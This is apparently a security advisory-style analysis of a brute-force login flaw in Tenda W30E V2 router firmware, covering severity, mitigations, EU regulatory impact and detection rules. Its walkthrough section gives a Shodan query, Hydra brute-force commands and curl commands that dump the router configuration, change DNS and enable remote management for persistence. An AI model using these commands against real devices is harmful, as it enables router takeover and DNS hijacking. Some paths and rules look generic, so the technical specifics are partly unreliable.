Comprehensive Technical Analysis of EUVD-2026-4665 (CVE-2026-24436)

Vulnerability: Missing Rate Limiting & Account Lockout in Tenda W30E V2 Firmware

1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

EUVD-2026-4665 (CVE-2026-24436) describes a critical authentication bypass vulnerability in Shenzhen Tenda W30E V2 wireless routers due to the absence of rate limiting and account lockout mechanisms on administrative login endpoints. This flaw allows unauthenticated attackers to conduct unrestricted brute-force attacks against the device’s web interface, potentially leading to full administrative compromise.

CVSS v4.0 Severity Analysis

The vulnerability has been assigned a Base Score of 9.2 (Critical) with the following vector:

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

• Attack Vector (AV:N): Exploitable remotely over the network.
• Attack Complexity (AC:L): Low complexity; no special conditions required.
• Attack Requirements (AT:P): Requires the attacker to possess knowledge of the target’s IP (or DNS name).
• Privileges Required (PR:N): No privileges required; unauthenticated access.
• User Interaction (UI:N): No user interaction needed.
• Confidentiality (VC:H), Integrity (VI:H), Availability (VA:H): High impact on all three security pillars.
• Subsequent System Impact (SC:N/SI:N/SA:N): No downstream impact on other systems (isolated to the router).

Key Takeaways:

• The high severity (9.2) stems from the low barrier to exploitation and severe impact (full device takeover).
• The lack of rate limiting makes brute-force attacks trivially executable with automated tools (e.g., Hydra, Burp Suite).
• The absence of account lockout means attackers can attempt millions of password combinations without detection or mitigation.

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2. Potential Attack Vectors & Exploitation Methods

Primary Attack Vectors

1. Remote Brute-Force Attacks

   • Attackers can target the Tenda W30E V2’s web interface (typically http://<router-ip>/login.cgi or similar).
   • No rate limiting allows unlimited login attempts without delays or temporary bans.
   • No account lockout means even weak default credentials (e.g., admin:admin) can be cracked given enough time.

2. Credential Stuffing Attacks

   • If the router uses default or weak credentials, attackers can leverage known credential dumps (e.g., from breaches) to gain access.
   • Common default credentials for Tenda devices (e.g., admin:password, admin:admin) are well-documented in exploit databases.

3. Dictionary & Hybrid Attacks

   • Attackers can use wordlists (e.g., rockyou.txt, SecLists) to systematically guess passwords.
   • Hybrid attacks (combining dictionary words with mutations) increase success rates.

4. Automated Exploitation via Scripts

   • Tools like Hydra, Medusa, or custom Python scripts can automate brute-force attempts.
   • Example Hydra command:

     hydra -l admin -P /path/to/wordlist.txt <router-ip> http-post-form "/login.cgi:username=^USER^&password=^PASS^:Invalid"
     

5. Man-in-the-Middle (MitM) Attacks (If HTTP is Used)

   • If the router’s admin interface is not HTTPS-enabled, credentials can be sniffed in plaintext during brute-force attempts.

Post-Exploitation Impact

Once administrative access is obtained, attackers can:

• Modify router configurations (e.g., DNS hijacking, port forwarding to malicious servers).
• Deploy persistent backdoors (e.g., via custom firmware or cron jobs).
• Exfiltrate sensitive data (e.g., Wi-Fi passwords, connected device lists).
• Launch further attacks (e.g., pivoting into internal networks, IoT botnet recruitment).

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3. Affected Systems & Software Versions

Vulnerable Products

• Device Model: Tenda W30E V2 (Wireless Router)
• Firmware Versions: All versions up to and including V16.01.0.19(5037)
• Vendor: Shenzhen Tenda Technology Co., Ltd.

Verification Steps for Security Teams

1. Check Firmware Version:
   • Log in to the router’s admin panel (http://<router-ip>).
   • Navigate to System Status or Firmware Update to verify the version.
2. Test for Rate Limiting:
   • Use Burp Suite or OWASP ZAP to send rapid login requests.
   • If no delays or lockouts occur, the device is vulnerable.

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4. Recommended Mitigation Strategies

Immediate Remediation (For End Users & Enterprises)

1. Apply Firmware Updates

   • Check Tenda’s official website for patched firmware (if available).
   • Manual update process:
     • Download the latest firmware from Tenda’s Support Page.
     • Upload via the router’s Firmware Upgrade section.

2. Change Default Credentials

   • Replace default admin credentials with a strong, unique password (12+ characters, mixed case, symbols).
   • Avoid common passwords (e.g., admin123, password1).

3. Enable HTTPS for Admin Access

   • If available, force HTTPS to prevent credential sniffing.
   • Disable HTTP access if possible.

4. Restrict Administrative Access

   • Disable remote management (WAN access) if not required.
   • Whitelist trusted IPs for admin access (if supported).
   • Enable MAC filtering for admin login attempts.

5. Implement Network-Level Protections

   • Firewall Rules: Block excessive login attempts at the network perimeter.
   • Intrusion Detection/Prevention (IDS/IPS): Monitor for brute-force patterns (e.g., Suricata/Snort rules).
   • VPN for Remote Access: If remote admin is needed, use a VPN instead of exposing the web interface.

Long-Term Mitigations (For Vendors & Developers)

1. Implement Rate Limiting

   • Introduce exponential backoff (e.g., 5 failed attempts → 30-second delay, 10 attempts → 5-minute lockout).
   • Use CAPTCHA after a threshold of failed attempts.

2. Enforce Account Lockout

   • Temporary lockout (e.g., 15 minutes) after 5-10 failed attempts.
   • Permanent lockout (requiring manual reset) after 20+ attempts.

3. Multi-Factor Authentication (MFA)

   • Implement TOTP (Time-Based OTP) or hardware token support for admin logins.

4. Secure Default Configurations

   • Disable default credentials on first boot.
   • Force password change on initial setup.

5. Regular Security Audits

   • Conduct penetration testing and code reviews to identify similar flaws.
   • Automated vulnerability scanning (e.g., Nessus, OpenVAS) for firmware releases.

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Implications

1. NIS2 Directive (EU 2022/2555)

   • The vulnerability directly violates NIS2 requirements for secure authentication mechanisms in critical infrastructure.
   • Operators of Essential Services (OES) and Digital Service Providers (DSPs) using Tenda routers may face non-compliance penalties.

2. GDPR (General Data Protection Regulation)

   • If the router is used in a business environment, a successful breach could lead to unauthorized access to personal data, triggering GDPR Article 33 (Data Breach Notification).
   • Fines up to €20 million or 4% of global revenue may apply if negligence is proven.

3. ENISA & EU Cybersecurity Act

   • The flaw highlights supply chain risks in IoT devices, reinforcing the need for EU-wide certification schemes (e.g., EU Cybersecurity Certification Framework).
   • ENISA’s IoT Security Baseline recommends rate limiting and account lockout as mandatory controls.

Threat to Critical Infrastructure

• SMEs & Home Offices: Many European SMEs and remote workers use consumer-grade routers like the W30E, making them low-hanging fruit for attackers.
• IoT Botnets: Vulnerable routers are prime targets for Mirai-like botnets, which can be used for DDoS attacks, cryptojacking, or data exfiltration.
• State-Sponsored Threats: APT groups may exploit such flaws for espionage or lateral movement in targeted attacks.

Economic & Operational Risks

• Downtime & Recovery Costs: A compromised router may require factory resets, firmware reflashing, or replacement, leading to operational disruptions.
• Reputation Damage: Businesses suffering breaches due to weak router security may face customer trust erosion.
• Insurance Implications: Cyber insurance policies may deny claims if basic security controls (e.g., rate limiting) are missing.

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6. Technical Details for Security Professionals

Exploitation Walkthrough

Step 1: Identify Target

• Shodan/Censys Query:

  http.title:"Tenda" "W30E" "login.cgi"
  

• Nmap Scan:

  nmap -p 80,443 --script http-title <target-ip>
  

Step 2: Brute-Force Attack (Example with Hydra)

hydra -l admin -P /usr/share/wordlists/rockyou.txt <target-ip> http-post-form \
"/login.cgi:username=^USER^&password=^PASS^:Invalid" -vV -f

• Success Condition: If the response does not contain "Invalid", the credentials are correct.

Step 3: Post-Exploitation Actions

1. Dump Configuration:

   curl -u admin:cracked_password http://<target-ip>/cgi-bin/DownloadCfg/RouterCfm.cfg -o config_backup.cfg
   

2. Modify DNS Settings (for phishing/mitm):

   curl -u admin:cracked_password -d "dnsserver1=8.8.8.8&dnsserver2=1.1.1.1" http://<target-ip>/goform/setDns
   

3. Enable Remote Management (for persistence):

   curl -u admin:cracked_password -d "remote_mgmt_enable=1&remote_mgmt_port=8080" http://<target-ip>/goform/setRemoteMgmt
   

Detection & Monitoring

1. SIEM Rules (e.g., Splunk, ELK, QRadar)

   • Brute-Force Detection:

     index=network sourcetype=web_logs dest_ip=<router-ip> uri="/login.cgi" status=200
     | stats count by src_ip
     | where count > 5
     

   • Anomalous Login Attempts:

     index=network sourcetype=web_logs dest_ip=<router-ip> uri="/login.cgi" status=200
     | stats values(src_ip) as attackers by _time
     | where attackers > 3
     

2. Network Traffic Analysis

   • Wireshark Filter:

     http.request.uri contains "login.cgi" && http.response.code == 200
     

   • Zeek (Bro) Script:

     event http_reply(c: connection, version: string, code: count, reason: string) {
       if (c$http?$uri && /login\.cgi/ in c$http$uri && code == 200) {
         NOTICE([$note=HTTP::BruteForceAttempt,
                 $msg=fmt("Possible brute-force on %s from %s", c$id$resp_h, c$id$orig_h),
                 $conn=c]);
       }
     }
     

3. Endpoint Detection (EDR/XDR)

   • Monitor for unusual outbound connections from the router (e.g., to C2 servers).
   • Detect configuration changes (e.g., DNS, port forwarding) via file integrity monitoring (FIM).

Forensic Analysis

1. Log Extraction:

   • Check /var/log/httpd.log or /tmp/log/ for failed login attempts.
   • Look for unusual admin sessions (e.g., logins from foreign IPs).

2. Memory Forensics (If Possible)

   • Use Volatility or LiME to dump router memory and analyze active sessions.
   • Search for plaintext credentials in memory.

3. Firmware Analysis

   • Extract Firmware:

     binwalk -e W30E_V16.01.0.19(5037).bin
     

   • Reverse Engineer Login Logic:
     • Use Ghidra or IDA Pro to analyze login.cgi.
     • Check for hardcoded credentials or weak cryptographic functions.

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Conclusion & Recommendations

Key Takeaways

• EUVD-2026-4665 is a critical flaw due to missing rate limiting and account lockout, enabling trivial brute-force attacks.
• Exploitation is low-effort and can lead to full device compromise, with severe downstream risks (e.g., botnet recruitment, data exfiltration).
• European organizations must prioritize patching and enforce network-level protections to mitigate exposure.

Action Plan for Security Teams

Priority	Action Item	Responsible Party
Critical	Apply firmware updates (if available)	IT/Network Admins
Critical	Change default admin credentials	End Users/Admins
High	Disable remote management (WAN access)	Network Engineers
High	Implement network-level rate limiting	SOC/Network Team
Medium	Deploy IDS/IPS rules for brute-force detection	Security Analysts
Medium	Conduct vulnerability scans on all Tenda devices	Security Team
Low	Monitor for unusual admin login patterns	SOC

Final Recommendation

Given the high severity and ease of exploitation, organizations using Tenda W30E V2 routers should:

1. Immediately isolate vulnerable devices if patching is not possible.
2. Replace end-of-life (EOL) devices with enterprise-grade alternatives (e.g., Cisco, Ubiquiti, MikroTik) that enforce modern security controls.
3. Educate users on secure router configurations to prevent similar vulnerabilities in the future.

For vendors (Tenda):

• Release a patched firmware version with rate limiting, account lockout, and MFA support.
• Conduct a full security audit of all router models to identify similar flaws.
• Implement a bug bounty program to incentivize responsible disclosure.

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References:

• Tenda W30E Product Page
• VulnCheck Advisory
• NIS2 Directive (EU 2022/2555)
• CVSS v4.0 Specification